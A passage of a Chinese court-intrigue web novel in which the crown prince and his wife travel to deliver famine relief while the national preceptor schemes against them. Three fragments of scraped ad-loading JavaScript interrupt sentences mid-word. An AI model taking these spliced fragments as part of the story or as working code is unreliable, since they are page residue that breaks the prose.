江御暮幽幽道:“他们要是不那么吝啬,也许还不会遭此劫难。” “吝啬?”穆归衡一时没反应过来。他们遭此劫难,难道不是因为贪心么?贪心与吝啬,应该不能混为一谈吧。 江御暮望着囚车远去的方向:“自从陛下下旨以来,城门口日日张榜,将哪位官员捐了多少赈灾款写得一清二楚,咱们都瞧见了。” 穆归衡一点就通,恍然大悟道:“被抄家的官员,都是不曾捐银的官员!” 江御暮点点头,哂笑道:“如此一来,官员们即便榜上有名,怕也无法安心了。为了保住乌纱帽,肯定会继续掏钱,多多益善。” 城门口每日清晨换榜,事实果然如她所料。 穆归衡不禁感慨:“我确实不适合做储君,更不适合做皇帝。” 比起在难辨清浊的朝堂里与臣民玩弄心术,他更怀念上辈子的恣意潇洒,快意恩仇。 百官筹集的赈灾款一日多过一日,钦差的人选却迟迟没有确定。 枕席之间,穆归衡曾与江御暮深谈一次,提出:“我若能奉旨出使涵州,便可以光明正大地带你一起离开京城。待救灾事毕,咱们便寻个机会金蝉脱壳,如何?” 如今时机已然成熟,江御暮自然不会再阻止他离京。 得到妻子的支持,穆归衡次日一早便出现在了朝堂上。 官员们见到他,都有些不解:太子殿下不是从不过问政事么?今日怎么有雅兴上早朝了? 穆归衡顶着百十道疑惑的目光,朗声道:“启禀父皇,儿臣自请出使涵州,赈灾济民,以解您心头之忧。” 皇帝久久地望着他,见他目光坚定,不由在心中暗道:稚子天真,是该多加历练。归衡啊归衡,迟早有一日,你会认清自己的蒙昧,拜服于朕的明智。 “准奏。”皇帝轻轻吐出两个字。 穆归衡有些不敢相信,事情竟如此顺利?他还以为自己需要磨破嘴皮子,才能劝得皇帝放他离京呢。 与此同时,穆归礼肚子里已经泛起了酸水。回府后,又将所有怒火都发泄在仆役护卫们身上。 老管家连忙去搬救星,请国师大人来安抚穆归礼。 见到费红英前来,穆归礼果然歇了三分怒火,语气却仍旧很冲:“凭什么!凭什么是他!?本王又是弹劾,又是抄家,忙了这么久,竟给旁人做了嫁衣?” 费红英亲手给他倒了杯热茶,递到他嘴边:“恭喜殿下。” 穆归礼就着她的手喝下茶水,嘟囔道:“有什么可恭喜的……” 费红英勾了勾唇角,拨得他心弦一动。 “恭喜殿下,马上就要得偿所愿了。” 穆归礼立时严肃起来:“什么意思?” “据微臣推算,太子殿下会在前往涵州的途中复发旧疾。” 费红英唇角笑意更浓,又补充半句—— “不治而亡。” 80. 陆一峰报恩招新兵,费红英炼丹…… 赈灾的队伍定于三日后出发,在此之前,还有许多琐事要忙。 首先便是确定护送银车的人选。论理说,只抽调一部分京中禁军即可。但穆归衡已然打定了一去不归的主意,自己府内一干人等也需要妥善安置。 仔细考量后,他决定只带几个年纪尚轻、身无挂碍的近侍随行,将年纪稍长、已然成家的仆役护卫们都留在京城,轮流照管京郊的粥棚,每月仍从账房支取俸禄。 至于时异,穆归衡本打算多给些银子将他遣走,江御暮却坚持要把他带在身边。 临行前夜,江穆二人最后一次去了粥棚,询问是否有流民愿意随队返回原籍。 百人之中,唯有一对“母女”愿意回乡。 母亲是费杏林,女儿是江唤玥,都顶着易容后的假脸,非亲近之人难以看出破绽。 阔别涵州十余载,费杏林终于可以回去向长公主复命了。 这天晚上,费杏林还完成了一个特殊的任务。 她换回老妇人的假面,独自回到了杏林医馆。按照约定,今日是陆一峰第三次来替她女儿抓药的日子。 城防兵戌时换班,陆一峰赶在戌时初刻前便到了医馆,一进门就看到桌上放着几包行李。 陆一峰有些担心,问道:“费大娘,您这是要出远门吗?” 费杏林佝偻着身子,仿佛真是一位古稀老人,音色也带着几分疲惫:“不是出远门,是落叶归根,要回乡去了。” 陆一峰扶着她一起坐下,又问:“那您的医馆呢,可有人传承?” 费杏林缓慢地摇摇头:“无人可传。” 陆一峰闻言,不禁有些失望。他女儿服了费杏林开的药,病情正在渐渐好转。如今她忽然离开京城,他女儿又该怎么办呢? 虽说费杏林早就把药方写给了他,但其上许多药材都很名贵,就他这点家底,实在是耗不起啊…… “其实,你也不必过于忧心。” 费杏林像是猜中了他的心思,将摆在桌上的一个硕大包裹推到他面前。 “这是给你女儿的药,足有一年多的分量。和以前一样,我不收你的钱。只是……有件事想请你帮忙。” 陆一峰见状自是感激不胜,连忙应下:“您尽管说,只要我能帮得上,就绝对不会有二话。” 费杏林欣慰地笑了笑,像长辈对待小辈那样拍拍他的手背,说道:“京郊那些流民,你可见到了?委实可怜呐。” 陆一峰点头叹道:“是啊。好在有太子殿下接济,他们至少不会再饿肚子了。” 费杏林满目忧虑:“可这终究不是长久之际啊。常言道,‘授人以鱼,不如授人以渔。’你说,是不是这个理?” 陆一峰没太明白:“您的意思是?” 费杏林道:“流民之中,不乏壮年男子。你既是城防兵的队长,有招兵之权,何不给他们一个机会?” 当初,陆一峰第一次带着女儿来找她抓药时,费杏林便对他说过:“我可以帮你,但你要答应我,以后若遇到同样陷入困境之人,你也得在力所能及的范围内帮帮他们。” 陆一峰当时答应得极为爽快,此刻却面露难色道:“费大娘,您有所不知。最近几个月,队里一直欠着饷呢,已经有不少弟兄递了辞呈。我便是将这些流民招进队里,也发不出钱来啊……” 费杏林慈和一笑:“流民缺的可不止是银钱。如果能被招为城防兵,他们至少有兵营可以居住,不必再睡郊外的草席,而且每日还有两顿饭食,就算吃不上肉,也比现在靠喝粥度日强得多呀。” 陆一峰渐渐被她说服,只是仍有一层顾虑:“既是流民,想来大多瘦骨伶仃,少气无力,很难达到招兵的标准。” 费杏林闻言失笑:“你不是说,已经有许多城防兵递了辞呈吗?流民就算再如何达不到标准,也总好过你手下无人可用吧?再说了,他们都能从涵州一路走到京城来,怎么会是弱不禁风之辈呢?” “唔——也是。”陆一峰放下了部分顾虑,答应道,“好,那我明日便去一趟京郊,招些新兵回来。” 费杏林满意一笑,正欲送客,却见陆一峰支支吾吾,似乎还有话要讲。 追问之下,他迟疑着说道:“听说那些流民中,有半数都是女子。我若把男丁都带走了,谁来照顾她们呢?” 费杏林微不可察地撇了撇嘴,心道:她们可不需要照顾。 “放心吧。”她的脸上仍然挂着慈祥老者的笑意,“她们呐,有别的机缘。” …… 次日一早,赈灾的队伍便出了京城。 百名禁军护送着十辆银车,另有两架马车一前一后,太子与太子妃乘车在前,费杏林与江唤玥亦同乘一车,跟在队尾。 午间换班以后,陆一峰如约来到京郊招兵。正赶上饭点,流民们齐聚粥棚之旁,男丁一人不少,女子却全都不见了踪影。 陆一峰觉得奇怪,便问了问是怎么回事。 “她们被人带走了。”一名青年答道,“好像是宫里来的大官,看着可贵气了!说是……什么官职来着?”他戳一戳身旁汉子的胳膊。 “好像叫国师吧?”那汉子挠挠脑袋,“说是陛下施恩,让她们去做宫女,每月能拿不少银钱呢!” 陆一峰惊讶道:“来带人的‘大官’是不是个年轻的蒙眼道人?” 对面二人齐齐点头:“是。” “哦。”陆一峰这便得以确认,“那就是国师,不会有错。” 难道,这就是费杏林昨晚说的“机缘”? 陆一峰没有多想,随即对众人讲清来意。 出乎他意料的是,这些流民的身体条件都很不错,即便不放宽招兵的标准,他们也能做到基本合格。 “太子府的清粥这么养人啊?”陆一峰打趣道。 “都是庄稼汉,有点底子,饿瘦了也不难补回来,而且力气还在!”一人如是解释。 陆一峰没有怀疑,一次性带了不少人入营。他自己队里的名额自是不够,好在其他几队的空缺也很大,四十余位流民填填补补,竟全都塞进去了。 陆一峰为此很有成就感——费杏林对他有大恩,他无以为报。如今他已办妥了她托付的事,总算没有辜负这份恩德。 是夜,费红英将五十余位“宫女”安置好,终于可以回府休息了。 谁知她刚进卧房,还没来得及取下蒙眼布,就瞥见桌旁有个人影。 “既然来了,怎么不点灯?”费红英立刻认出了他,“安王殿下。” 幸好她多看了一眼,没有急 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着摘下蒙眼布,否则又是麻烦。 穆归礼调笑道:“不点灯,才能给国师大人一个惊喜啊。” 费红英点亮灯烛,诧异道:“什么惊喜?” 穆归礼油嘴滑舌起来:“本王主动来看望你,不就是最大的惊喜么?” 费红英忽然想起江御暮说过的一句话—— “国师大人,听说穆归礼最近对你有意思啊。” 她只觉一阵恶寒,缩了缩肩膀。 穆归礼却会错了意:“鸿影,你是不是冷啊?要不要本王给你暖一暖?” 费红英后退半步躲过他的动作,微笑道:“殿下此来,应该不止是为了对微臣嘘寒问暖吧?想必有正事要谈?” 穆归礼的手在空中顿住一霎,继而收回身旁,神色自若道:“也不算什么正事,本王只是有些好奇,依父皇的个性,本不该关心那些流民的死活,为何今日却有传言说他主动施恩,将几十个流民收为宫女了呢?” 说着,他又向费红英靠近一大步,低声道:“国师大人,本王听说此事与你有关,你可愿为本王解惑?” 费红英借着去取茶壶的动作,又一次跟他拉开了距离,回答道:“殿下猜得不错,陛下让她们做宫女,的确不是出于善心。” “那是为了什么?”穆归礼兴致盎然道。 费红英冲他神秘一笑:“为了炼丹。至于这些女子,不过是药引而已。” 穆归礼立时蹙起双眉:“炼什么丹?你不会忽悠得我父皇开始追求长生了吧?” “自然不会。”费红英垂眸摇头,“世上从无长生之法,以陛下之英明,怎么会连这个道理都不明白呢?” “那还能炼什么丹?”穆归礼思索片刻,轻蔑一笑道,“不会又是为了医治太子的旧疾吧?” “当然不是。”费红英抬眼望向他,“微臣炼制此丹确实是为了治病,但与太子毫不相干。” 穆归礼这就有些想不明白了。 除了太子以外,还有谁生病了能劳动国师炼丹? “难道是父皇他——”穆归礼有些激动,甚至欣喜。 “不。”费红英很快戳破了他的美梦,“陛下身体健康,并无疾病。” 穆归礼有些失望,为了掩饰自己的情绪,捂着嘴轻咳一声,不悦道:“飞鸿影,别卖关子了,赶紧给本王交代清楚!” 费红英低下头笑了一声,又抬起头望向他,唇角尚未隐去的笑意在穆归礼看来十分碍眼。 “是为了治微臣自己的病。”她撒谎道。 “你生病了?”穆归礼语带关切,不知是真情还是做戏,“什么病?怎么不早些告诉本王?” 费红英面不改色:“微臣患有眼疾,难道殿下看不出来?还需要微臣特意告知吗?” 穆归礼先是一哽,继而笑道:“我还以为你的眼疾并无药石可医呢。” 语毕,他伸手抚上费红英眼前的墨色飞绡。 “痊愈以后,你是不是就可以不再蒙眼了?” 费红英想了想:“是。” 穆归礼的手指渐渐不老实起来,滑向她的面颊。 “本王……很期待那一天。” 费红英对他笑了笑。 等那一天到来,她定将剁了他这只手泄愤。 81. 神秘客求见太子妃,袁家女巧变…… 赈灾队伍日夜兼程,比原定的行进速度快出不少。 途径各州府时,每每由穆归衡出面从官府的粮库里调粮,同时由江御暮带人从民间的粮商处买粮。二人分头行动,不耽搁丝毫时间。 小半个月下来,赈灾的银车变成越来越多的粮车,队伍的行进速度也随之变慢了些。 这天夜里扎营,江御暮和穆归衡正在给旺财喂食,忽有一名禁军哨兵来报:“启禀殿下,营外有一年轻女子求见太子妃,说是太子妃的旧日好友。” “好友?”穆归衡好奇地看向江御暮。 江御暮却是一头雾水,跟他异口同声道:“好友?” 今夜的扎营地离瑾州城不远,此人会是瑾州人么? 可是,她在瑾州并无好友啊。 难道是涵州来的人,有消息急着传给她? 那也不会贸然跑到他们的大营里啊,此处兵士颇多,处处都是眼睛,涵州来者怎么可能如此冒险? 江御暮没有头绪,只得询问道:“那女子可曾报上姓名?” 禁军哨兵摇摇头:“不曾。” 江御暮又问:“她样貌如何?可有什么特征?” 禁军哨兵面露难色:“她戴着面纱,末将未曾得见真容。” 石涅在旁听了半晌,不由打趣起来:“合着你什么都没搞清楚,就来传话啦?” 禁军哨兵不由语塞,捏紧了右拳,里头握着的是一枚花瓣形状的小金片。 方才那女子为了请他帮忙传话,把这枚金片赏给了他,所以他才忙不迭跑来通传,连那女子的姓名都忘了询问。 “石涅,你去看看。”穆归衡吩咐道。 石涅领命而去,不多时便跑了回来。 “禀殿下,禀太子妃,那女子说她姓袁,单名一个清字。” 说着,他翻开手掌,将一枚祥云形状的小金片展示给江穆二人看。 “袁姑娘说,太子妃若是不记得她了,看看这个或许便能想起来。” 江御暮接过小金片,一边观察一边念叨:“袁清……” 那枚金片很薄,边缘还有掐丝,像是从首饰上拆下来的。 意识到这一点,一个名字迅速跃入江御暮的脑海。 纪青元。 江御暮还记得,离开京城前,纪青元没有其他途径筹措盘缠,于是忙活一个通宵,将手头所有金质首饰化整为零,装了满满一荷包。 青元……袁清? 她戴着面纱,是担心自己会被穆归衡认出来么? “御暮,你认识这个袁姑娘吗?”穆归衡问。 “嗯,的确是旧相识了。”江御暮微笑道,“我去见见她。” 语毕,她马上起身欲走。 穆归衡见她毫无带上自己的意思,连忙伸手拉住江御暮的衣角,抬起头望着她道:“既然是你的旧友,何不将她请入帐中?在营外见面可不是待客之道。” 江御暮随口找了个理由:“她不过一介平头百姓,哪敢随随便便来见太子呀?” 穆归衡不赞同道:“我是太子,也是她朋友的夫君啊,有什么见不得的?” 江御暮还想再找借口,穆归衡却不给她时间,紧接着又委屈巴巴道:“你有那么多朋友,我还一个都没见过呢。” 无法,江御暮只得暂且应承下来:“那我先去问问她,她若愿意,我便带她来见你。” 穆归衡这才罢休,捏捏她的手,笑道:“快去快回。” 来到帐外,江御暮远远便望见了一个女子的背影,像一笔纤细的黛色,画在陈旧的长卷里。 快步行至近前,她试探着唤了声:“袁清?” 那女子先是一愣,继而飞快转身看向她。二人相顾无言片刻,不约而同地笑了。 即便袁清戴着面纱,江御暮依然能凭借那双眉眼认出她是谁。 她们初见时,她在哭。 她们分别时,她也在哭。 如今骤然重逢,她眼底终于有了抹不去的笑意。江御暮一观便知,她这段日子过得很舒心。 至少要比当初在王府里舒心许多。 “快进来说话。”江御暮冲袁清招招手,左右两名兵士便收起长矛,放她通行。 江御暮将袁清带远几步,话中不无惊喜之意:“真没想到,竟然在这遇上你了。” 袁清比从前在王府时更开朗些,大方直言道:“我可是跟主家告了假,专程来找你的。” “主家?”江御暮大为纳罕。 当初的纪青元好歹也是官家小姐出身,如今变成了袁清,不会给哪家富户做丫鬟去了吧? 可是看她的穿着打扮,虽然说不上华丽精致,却也不算朴素,并没有丫鬟的样子啊。 袁清大约是猜到了她的想法,失笑道:“别误会,此事说来话长,咱们还是找个讲话方便的地方慢慢聊吧。” 江御暮闻言脚步一滞。 “怎么了?”袁清很快察觉到她的异样。 “方才有件事忘了告诉你。”江御暮露出一个哭笑不得的表情,“太子听说你是我的旧友,便提出想见一见你。” 袁清微微一怔,似乎有些紧张。 “太子认得你的长相吗?”江御暮伸手拨动她面纱一角,低声补充道,“我是说——他四皇嫂,安王妃的长相。” 袁清垂眸回忆片刻,不太确定地摇了摇头。 “应该……不记得吧?” 江御暮追问道:“你们见过面么?都是在何处见的?可曾面对面交谈过?” 袁清一一回答:“见是见过,约莫两三次,都是在宫宴上,桌子隔得甚远,基本看不清彼此的面容。再者,因着穆归礼和太子不对付,我便也不曾与他交谈过。” 江御暮听罢稍稍放心,又问:“那你愿意去见见他么?以我闺中密友的身份。” 袁清起初还想退缩,可是一听她说出“闺中密友”四个字,便说不出拒绝的话了。 “嗯,愿意。” 江御暮放松一笑,挽住她的胳膊向自己的营帐走去,同时开始“串供”,匆匆问道:“趁着你们还没见面,赶紧跟我说说,你是哪家姑娘?咱们是怎么认识,怎么成为朋友的?” “我早不是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘了。”袁清一本正经道,“对外,我一直说自己是个寡妇。” 江御暮没忍住噗嗤一声,低语道:“真有你的。” 袁清自信一笑:“离京这么久,我的假身份从未被人看穿过。一会太子若问起咱们相识的缘由,你就放心交给我回答吧。” “好,我不跟你抢。”江御暮也很期待,不知她会编出什么样的故事。 袁清敛起笑意看她一眼,叹道:“没想到,你竟真的做了太子妃。” 说完又自己反驳自己:“不对,应该说我早就想到了,只是猜测成真以后,反而有些不敢相信,也不太理解。” “不理解什么?”江御暮问。 袁清深深一叹,稍显哀怨道:“陛下初次赐婚之时,太子曾当众那样羞辱你。以你的脾气,怎么还会愿意做他的妻子呢?若说是因为陛下赐婚无法拒绝,为何民间传闻又说你们夫妻二人恩爱非凡?” 江御暮惊讶道:“你远在瑾州,竟连这些事都知道?” “是啊。”袁清点头道,“京中权贵的趣闻轶事,总是传得飞快嘛。我不止知道这些,还知道你在比武招亲时技惊四座呢!唉,只可惜……” 说到这里,她就不再往下说了。 江御暮却被她勾起了好奇心:“可惜什么?” 袁清不好意思地笑了笑,左右看看周遭无人,这才放轻声音对她耳语道:“其实,也不止我一个人觉得可惜。每每谈及此事,许多人都觉得那位燕少侠,燕识风,他才是你的良配。” 江御暮闻言,笑容透着古怪:“他不过赢了我一箭而已,怎么就算良配了?” “嗯……”袁清仔细思考完这个问题,耸耸肩道,“也许是说书先生们功力太深,影响到我了吧。” “啊?”江御暮今夜已不知是第几次被惊到了,“我比武招亲之事,都被编成说书的桥段了?” “是啊,京城没有吗?” 袁清问完才反应过来:哦,天子脚下,没人敢公然议论太子妃。瑾州天高皇帝远,倒没那许多顾虑。 她接着说道:“反正在我们这的说书先生口中,你和燕少侠就是郎才女貌、势均力敌、天生一对的——苦命鸳鸯。” 回帐之路不算长,二人聊不了太多内容,进入营帐时,穆归衡旋即起身相迎,本是表达友好和欢迎的动作,反倒却把客人吓了一跳。 “民女袁清,参见太子殿下。”她连忙行礼,然而动作才做到一半,就被江御暮拉住了。 “好了,不必行礼。”江御暮对她笑道,“今夜他不是太子,只是你闺中密友的夫君。” 袁清没敢抬头,睁大眼睛看向她,以表示自己的疑惑。 满京城里谁不知道太子的脾气啊?一不高兴就有人要遭殃,袁清可不敢对他有丝毫不敬。 “御暮说得很是。”穆归衡赞同道,“袁小姐,请坐。” 袁清闻言有些举棋不定,最后还是江御暮拖着她坐了下来。 穆归衡的好奇心终于找到了出口,第一个问题果然是—— “袁小姐,不知你和御暮是如何相识的?” 82. 闺中友临别赠信物,太子妃红杏…… 越简单的谎言便越不容易被人戳穿,袁清深知这个道理,于是简短答道:“我从前住在京城,时常去江小姐的书铺里买书,一来二去便与她熟识了。” 穆归衡果然没有起疑,点点头不再发问,以免打扰她二人闲话家常。 江御暮实在好奇:“你方才说的‘主家’到底是怎么回事?” 袁清想了想,此事没什么需要瞒着太子的地方,便坦言道:“我离京之后,在驿馆里认识了一对姓孟的母女。她们是去瑾州投奔亲戚的,还是大户人家的亲戚。我当时也没想好自己要去往何处,便与她们结伴而行,路上也好有个照应。不料还没过几日,我们就遇上了劫道的。两个拎着刀的彪形大汉,一左一右便拦住了我们的去路。” 江御暮知道袁清并无武艺傍身,关切道:“后来如何?你们可曾受伤?” 袁清笑着摇摇头:“你忘了?我离京之前,红英姑娘曾送给我一包用于防身的药粉。多亏了她,我们才保住性命。当日我佯装去包袱里取银子,实际悄悄抓了两把药粉,直接朝那两个大汉的脸上撒过去。果然如红英姑娘所说,顷刻之间,他们便昏倒在地,毫无反抗之力了。直到被衙门的人带走,他们还昏睡着呢。” “红英姑娘?”穆归衡忽又好奇起来,扭头看向身旁的江御暮,“我从未听你提起过,她也是你的朋友吗?” “是。”江御暮面不改色,信口胡扯道,“她是刑部侍郎洪大人的长女,洪英。” 穆归衡只知刑部有个洪侍郎,并不知他的女儿叫什么名字,因而没有发现江御暮话中的破绽。 袁清却微微一怔。 洪英? 洪大人的独女并不叫这个名字啊。 而且她见过红英姑娘,也见过洪小姐,她们的长相毫无相似之处,怎么可能是同一个人呢? 袁清没有说出自己的疑惑,目光在江御暮和穆归衡之间转了两圈,恍然大悟。 看来不止是她,江御暮在太子面前也有秘密啊! 意识到这一点后,袁清再开口时便谨慎了许多,尽量不提及京中其他旧人,重新回到方才的话题。 “我们脱险以后,孟夫人为表酬谢,便邀我与她们同去瑾州,还聘我做她女儿的私塾女师,给足了月钱。就这么着,我算是在瑾州扎稳脚跟了。” 江御暮听罢欣慰道:“真好。” 接着又问起:“对了,你大晚上跑出城来找我,应该不只是为了叙旧吧?” 袁清张了张口,回答的话已到嘴边,却又变了内容:“我若说,就只是为了叙旧而已呢?” 江御暮察觉了她的异常神色,便用胳膊肘碰一碰穆归衡道:“我们姐妹还有许多闺房闲话要聊,你一个大男人,就别杵在这了呗。” 穆归衡原也只是想见见妻子的旧友,既然现在已经见到了,他也没必要在帐中久留。 “好,你们聊就是了。”他旋即起身往外走,“要不要叫人给你们弄些吃食?” 江御暮看向袁清:“你饿吗?” 袁清摆摆手:“不饿不饿。” 江御暮回头对穆归衡眨了眨眼:“我也不饿,你就安心地去吧。” 穆归衡闻言失笑,折返几步在她的额头上轻吻一下才离开。 袁清这才摘下面纱,露出紧抿着的双唇,像是在憋笑,目光满是揶揄,却没好意思把调笑的话说出口:哟哟哟,真没想到,太子殿下竟这样听你的话。 江御暮避开她的目光,垂眸挠了挠脸颊,轻咳一声道:“好了,现下可以说实话了吧,你来找我可有旁的缘由?” 袁清点点头,又靠她身边坐近了几分,压低声音道:“孟夫人家里是瑾州城内最大的粮商,近日听闻涵州遇灾,陛下派了太子前来赈灾,孟家便想攀一攀这份关系。这不,听说我与太子妃是旧相识,他们便让我顺带给你们传个话。” “传什么话?”江御暮问。 袁清接着答道:“孟家愿无偿奉上精米,斤两不限,供太子殿下赈灾之用。只求太子殿下归京之后,帮孟家谋个皇商的官衔。” 江御暮觉得有些奇怪:“此事有什么好瞒着太子的呢?为何要我先把他支开,你才愿意开口?” 袁清道:“我原没打算瞒着他的,只是……方才我见你提起红英姑娘时,并未对太子说实话。我不知除此以外,你还有何事瞒着他,索性就先把孟家的请求告诉你,再由你自己选择要不要告诉太子吧。” 江御暮见她行事如此周全,不由在心中暗自赞叹,接着又道:“其实不必告诉他,我自己也做得了这个主。” 袁清先是一惊,不过很快就说服了自己:早就听闻太子妃在其他几州带人筹粮之事,可见她在此次赈灾之行中,确实握有一定的权柄。 江御暮思忖片刻后,交代她道:“你回去告诉孟家家主,先别急着送粮前来。我们此行只带了百名禁军,现在这么多粮车已经稍显负累,不能再添了。等我们抵达涵州,再过些日子,会遣人去瑾州找孟家交涉的。” 袁清仔细记下这番话,又与江御暮闲聊半晌,直至哈欠袭来才想起该告辞了。 江御暮念及天色已晚,本欲留她在营中暂住一夜,袁清却执意要回去。 实在劝不住,江御暮怕她一个人赶路会出事,便派两名禁军送她回去。 告别时,江御暮从自己的行李中取出一柄短剑交给她,嘱咐道:“今后你若再来见我,却被哨兵拦下,直接拿出这柄剑就是了,保你一路无阻。” 袁清接过这柄沉甸甸的短剑,剑鞘冰凉,剑柄上还留着江御暮掌心的温度。 “我们以后还有机会再见吗?”她问。 江御暮笑得笃定:“自然有机会啊。我们回京途中,总有一夜与今晚一样,要在瑾州城外扎营吧?” 袁清重重点了点头:“说好了,等到那时,我一定前来找你。” 二人告别时,穆归衡站在帐前远远看着。石涅和时异一左一右守在帐边,有一搭没一搭地陪旺财玩。 袁清进出营帐时,时异虽只瞥见了几眼,看不真切,却总觉得她有点眼熟。 “殿下。”他放不下心头疑惑,决定主动出击,势必弄个清楚,“送太子妃的好友回府毕竟是私事,怎好劳动禁军去做?不如由卑职——” 他的话还未说完,就被石涅打断了。 “不用干活还不舒坦啊?怎么还有上赶着给自己找事做的呢?”石涅心直口快,用玩笑的语气说道,“都这么晚了,太子妃肯定是心疼咱俩才不让咱俩跑腿的。你若主动请缨,不是辜负了太子妃的一片好心嘛?” 几句话把时异堵到死角,他双唇张合几下,却没有发出任何声音,大约是想不到反驳的理由吧。 说话间,江御暮已经走到了附近,时异害怕在她面前露出马脚,便也不敢多话了。 回到帐中,江穆二人共枕而眠。穆归衡从江御暮身后揽住她的腰,好奇 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道:“方才把我支开以后,你们都聊什么了?” 江御暮沉默一瞬,转过身来与他面对面道:“你猜。” 穆归衡一手撑起下巴,另一手轻点她的鼻尖,幽幽道:“有没有说我的坏话呀?” 上辈子听师父说,师娘每次和姐妹们相聚时,都会将师父做过的傻事当笑话说给她们听。 师父不但不生气,反而还乐呵呵的,总是沾沾自喜地跟徒弟们说:“你们懂什么?一帮毛头小子,等你们成亲以后,就知道为师在乐什么了!” 说实话,其实穆归衡直到现在还不太懂。 但若设身处地想一想,如果江御暮方才和袁清叙旧时,也把他做过的傻事当笑话讲出来,是不是就说明他在她的生活中绘下了浓墨重彩的一笔呢? 但是反过来想想,如果她们聊起他时,说了些很严肃的“坏话”,事情就不太妙了。 也不知怎的,明明是没影的事情,穆归衡却莫名紧张起来,下意识摩挲着江御暮的发尾,静待她给出答案。 江御暮没有思考太久便大方承认:“算是说了吧。” 只不过是二人刚见面,袁清尚未进帐时说的。 “算是?”穆归衡挑了挑眉,“是就是,否就否,什么叫算是?” 江御暮依旧语焉不详:“我们聊起你时说的那些话,在彼时彼刻是‘好话’和‘坏话’的叠加状态。” 或许……应该给他讲讲“薛定谔的猫”?可江御暮自己对这个概念也是一知半解,只怕会越讲越糊涂。 “什么、叠加?”穆归衡听得云里雾里,眉头渐渐蹙了起来。 江御暮揉了揉他的眉心,笑道:“不妨这样,我总结出一句话来,由你自己判断这句话是褒是贬,如何?” 穆归衡连忙应下:“好,你说。” 他倒要听听,这世上怎么会有一句既好又坏的话。 江御暮收回手,盯着他的双眸认真道:“她说——民间许多人都觉得,与太子穆归衡相比,那位游侠燕识风才是我的良配。” 穆归衡听罢怔愣一瞬,继而忍不住笑出了声。 “别光顾着笑。”江御暮用两只手压住他的唇角,“你倒是评一评啊,这句话是褒还是贬?” “褒贬且不论。” 穆归衡一手抓住江御暮手腕,另一手抚上她的后脑,在她唇上轻触一下。 “江小姐……” 他忽然换了称呼,方才的吻将停未停,仍在她的唇边流连。 “既然那么多人都认同这个观点,那……你呢?” 距离太近,江御暮看不清他的双眼,于是将脑袋往后缩了缩。因着她尚未厘清思绪,只条件反射般吐出一个字:“我?” 穆归衡见她退缩,自己眸中反而笑意更盛。 “那我换一种问法吧。” 他抓起她一只手,按在自己的心口处。 “江小姐,在下燕识风。许久不见,你可还记得在下?” 江御暮大概猜到他想玩什么把戏了,配合道:“记得,只是印象不深。” 穆归衡撇了撇嘴角,俯身与她鼻尖相触,幽怨道:“若非太子横刀夺爱,在下早该与小姐终成眷属了,不是吗?” 江御暮的手指在他心口上打着圈:“现在说这些又有什么用?我已经是太子妃了。” 穆归衡伸手勾上她的衣带:“趁着今夜太子不在帐中,江小姐可愿与在下……再续前缘?” 83. 燕识风乱吃飞来醋,江唤玥静待…… 江御暮睫毛微颤,揶揄道:“燕少侠,你可真是学坏了。” 穆归衡勾起她一缕青丝缠绕于指尖:“全赖江小姐教得好。” 江御暮话锋一转:“你既说是我教你的,那我便算作你的师长了。为人师表者,自当以身作则,循道不违,怎能背着夫君与其他男人调风弄月呢?万一被太子殿下知道了,我还有命活吗?” 穆归衡被她一本正经的样子逗笑,也装出一副深思熟虑的神情来:“被太子殿下知道了又如何?他对你一往情深,怎么会舍得责怪你呢?” “一往情深。”江御暮饶有兴趣地重复着这个词,“既然如此,是不是无论我做了什么坏事,他都不会生我的气啊?” “那要看你坏到什么程度了。”穆归衡回答完,忽又察觉自己这句话回到了太子本人的立场上,于是连忙改口,“不对,现在是我在你面前,你怎么总是提起别的男人?” 听着酸溜溜的,江御暮不由腹诽:怎么会有人连自己的醋都吃啊! “也罢,我不提他便是了。”江御暮配合道,“不仅如此,我还要把他忘到九霄云外去。如何,你可称心了?” 穆归衡一时语塞,憋了半晌才吞吞吐吐道:“那……也不太合适。太子他……毕竟是你的夫君嘛……” 江御暮正要开口回击,就被他的手指按住了双唇。 穆归衡轻叹一声,认输道:“你这张嘴,我这辈子是说不过了。再修炼几十年,下辈子也许还有希望。” “既然说不过,那就别说话了。”江御暮移开他的手,与他十指交缠,“吃点夜宵吧。” 穆归衡自然知道她此话何意。 “饿了?”他轻吻她耳畔。 “本来不饿的……”她迎上他双唇,“还不是怪你非要胡闹,你可知错?” “嗯。”穆归衡依例蒙住自己的双眼,“知错,但不改,任凭处置。” 春宵苦短,二人折腾许久,也不知是什么时辰了。 出门在外处处不便,此处并无水井可用,若要沐浴,便只能去营外不远处的河里取水。 幸而此刻夜半更深,河流两岸都静悄悄的,并无旁人出没。 二人囫囵洗完澡,回到帐中已是后半夜,不剩多少睡觉的时间了。次日一早醒来,精神果然都不大好。 最后几日行路,二人便达成了共识,决意不再胡闹,虽然仍旧同住一帐,但却分开铺设两张床铺。 某日石涅进帐向太子回禀事务时,乍见二人分床而坐,各忙各的,不与彼此搭话,立时便生出了误会。 他这样的直肠子,哪里憋得住疑问,脱口便道:“殿下,您是不是和太子妃吵架了?” “嗯?”穆归衡没想到他会问出这样离谱的问题,微微一怔,正要出言否认,却被江御暮抢了先。 “对啊,吵架了。”江御暮放下手中账本,故意板着脸逗石涅玩,“你站谁那边?” 石涅闻言,双足便仿佛扎根在地,不敢移动,生怕往谁那边挪去一寸半寸,就被视作择定了阵营。 他笑容尴尬,试探着问道:“方才吃晚饭时不是还好好的吗?您二位到底为什么吵架啊?” 他先看向江御暮,希望能从她那里得到答案。 江御暮却没有回答,斜斜朝穆归衡扔去一个眼神道:“问他去。” 石涅又看向穆归衡,却见对方双眉紧蹙,似沉思又似愠怒。 “殿……下?”石涅出声提醒。 穆归衡尚未编出合适的答案,便效仿江御暮道:“问她去。” 石涅深深吸了口气,不妙,不妙。 他从未见过太子和太子妃吵架,自然也没有劝架的经验,只能知难而退,一步步往后撤去,行至门口才道:“您二位慢慢吵,卑职就不掺和了。” 待他掀帘而出,穆归衡这才走到江御暮身边坐下,无奈一笑道:“你骗他做甚?” “嘘——”江御暮竖起一根手指放在唇边,继而站起身,轻手轻脚向门边走去。 